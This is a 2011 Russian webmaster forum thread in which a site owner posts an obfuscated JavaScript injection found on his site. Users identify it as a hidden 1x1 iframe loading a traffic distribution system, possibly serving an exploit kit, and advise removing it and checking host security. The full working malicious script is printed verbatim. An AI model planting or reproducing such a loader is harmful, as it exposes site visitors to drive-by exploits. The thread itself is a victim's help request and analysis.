Сайты боты или что это?

NG
На сайте с 17.08.2011
Offline
3
N1G
890

За тегом </html> появился загадочный скрипт:

<script type="text/javascript">if('GkIAe'=='PcSQtR')kduSI();var sEGja;var EdgahX='fKrNfb';if('DQHmU'=='Omfj')MHXOe='GiwJ';var TMtyeWXZ="\x66\x72\x6fmCharC\x6fd\x65";var pbfpi=120;function VJNx(){}

var xMQXmOlq="";function JAMmah(){}function kcYW(){var DrHR='KeIo';if('xdZe'=='RSiuld')dfmCwi();}

if('WVXT'=='fnNPOH')otbQo();if('zHkmr'=='DFgm')PpihO();var nPZbcvNO="s\x6cic\x65";var EcJEia='jsXqFm';var izlNGZHYh="a4b0b0ac766b6b9db0ab9eb1afacaba1a49da86a9faba96baf6c6ba5aa6a9fa3a57b6d6c";function jyJXK(){}if('WvrZL'=='JDodXD')MsVU='qUbY';function WwoTr(){}

var gxwRmN='itrzFV';var oUGczFvk="p\x61\x72seInt";var kjrX;var sGAjMB;var NyTT=27;var VBWBjrZe=(function(){function dydkGo(){var hkIVw='dLAP';if('RcrL'=='lwnek')GqUxow();}var NEqytk='hSNJ';return this;var UfKKU;})();if('mTWytZ'=='pfXJ')WWBJ();var QnUOX="cons\x74ructor";var GBhA='ewNv';function FZMg(){var qEFWsn='HbQJj';if('yjUBu'=='yIZo')RVwP();}

var JrqarNN="LSxIZfDv"[QnUOX];var slxTOE;var suXRl=89;function aPduh(){var bACO='kUly';if('MUoEjK'=='xUXEVN')tgJi();}

for(var lMHyYSom=0;lMHyYSom<izlNGZHYh.length;lMHyYSom+=2){var Yhrdg;oUimSwtQv=VBWBjrZe[oUGczFvk](izlNGZHYh[nPZbcvNO](lMHyYSom,lMHyYSom+2),16)-60;var EpvQzf=71;function TLVFpT(){}

xMQXmOlq+=JrqarNN[TMtyeWXZ](oUimSwtQv);var hYgM=16;function mHVD(){var tzckrp='FKTsj';if('WSNPmg'=='AvzqTY')NGLIfu();}var xkLIjj='LjHYnt';}

if('HTZKe'=='kuJcLd')FrCe();if('Uzaj'=='uFPmeN')rYrL='qajY';function BKjWnE(){var Drfmo='xqXdV';if('SSyi'=='ppUMyb')SHekq();}

var XrwEP="rUowFeuRb";function yyfze(){}var TcnABO=21;var rImjV=navigator.appVersion.indexOf("MSIE")!=-1?'<iframe name="'+XrwEP+'" src="'+"xMQXmOlq"+'">':'iframe';function ahVM(){var lcVK='whbK';if('mJKA'=='RhED')fWhJ();}var ZDBl='TfLcSN';var ahLAYZ;var sMSoJI=document.createElement(rImjV);sMSoJI.name=XrwEP;var ARqr=86;sMSoJI.setAttribute("name",XrwEP);if('CcbU'=='DOnAV')spEIEU();sMSoJI.id=XrwEP;function XGKr(){var tMBC='dOjY';if('eIaE'=='YxPwQu')UMAmc();}

sMSoJI.src=xMQXmOlq;function xJXSH(){}

sMSoJI.style.right="0px";var TAZRuh=93;sMSoJI.style.top="0px";if('ghZal'=='HMsbjS')ErVOb();sMSoJI.style.height="1px"

if('FAOqPy'=='qnMQRd')OHulZ='yISSK';sMSoJI.style.width="1px";var loVCI;var HzxyWb=265;if('XsVOyN'=='ciyOKq')brxMH();sMSoJI.style.position="absolute";function IJfqol(){var VeRObN='CPwZ';if('nLIZGV'=='QaRC')veKAA();}

document.body.appendChild(sMSoJI);var xyoG;var XnvVN;var ROKO;</script>

Ваши мнения?

Удаленная настройка твоего ПК на сайте http://настройкапк.рф
[Удален]
#1

Загадочный и страшный )), может стоит обратить внимание на безопасность хоста? Права на файло и т.д..

azartan
На сайте с 25.11.2010
Offline
67
#2

Проверьте через Я.Вебмастер - может заразили вирусом Ваш сайт ...

Мониторинг обменников - выгодный обмен электронных денег и криптовалют (https://okku.ru) * Сайт о домашних питомцах - вопросы, ответы, объявления (http://zhizo.ru)
NG
На сайте с 17.08.2011
Offline
3
N1G
#3
azartan:
Проверьте через Я.Вебмастер - может заразили вирусом Ваш сайт ...

вебмастер от яши и гоши результатов не дали, возможно бот еще недобрался до кода...

N1G добавил 29.11.2011 в 13:31

Данный код был замечен на сайте после того как внезапно на него обрушилось около 12к посетителей, большинство из переходов были порно сайты и тд. Поиск ничего толкового не выдал, только то что таких зараженных сайтов уже достаточно в интернете!

Mr.Smile
На сайте с 10.01.2011
Offline
65
#4
N1G:
вебмастер от яши и гоши результатов не дали, возможно бот еще недобрался до кода...

Куды уж им....

N1G:
Ваши мнения?

Типичный обфусцированный iframe.

Движок ломаный DLE?

<--TTT-->
NG
На сайте с 17.08.2011
Offline
3
N1G
#5
Mr.Smile:
Куды уж им....


Типичный обфусцированный iframe.

Движок ломаный DLE?

Движок AlteraCMS 3.0 alpha

Скажите, а как может проникнуть этот скрипт?

дырка в фтп, .htaccess, Mysql, админка, или сама панель управления хостингом?

Так как активность была замечена в индексном файле и в базе данных...

ZV
На сайте с 25.12.2009
Offline
37
#6

Удалите эту гадость. Ни к чему хорошему это не приведет. Яша с гошей доберутся - будет не очень хорошо. И о безопастности следует позаботится обязательно.

Интернет магазин продукции для здоровья (http://www.vipvisionshop.ru)
GL
На сайте с 13.01.2010
Offline
28
#7

jsunpack.jeek.org/?report=559777245c4c4e6c1a429b36fee72f391c53dec9 - разбор этого скрипта

NG
На сайте с 17.08.2011
Offline
3
N1G
#8
ZverVIP:
Удалите эту гадость. Ни к чему хорошему это не приведет. Яша с гошей доберутся - будет не очень хорошо. И о безопастности следует позаботится обязательно.

Спасибо за совет, естественно уже удалил.

2 Grom[LOG] Занятное дело спасибо, но мне бы в двух словах что этот скрипт пытался сделать?

GL
На сайте с 13.01.2010
Offline
28
#9

Скрипт грузил ифрейм с чьей то ТДСкой. А что отдавала тдска неизвестно - вполне возможно связку эксплоитов. Сейчас там редирект 404 ошибку отдает.

NG
На сайте с 17.08.2011
Offline
3
N1G
#10
'Grom[LOG:
;9729724']Скрипт грузил ифрейм с чьей то ТДСкой. А что отдавала тдска неизвестно - вполне возможно связку эксплоитов. Сейчас там редирект 404 ошибку отдает.

Спасибо за помощь!

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий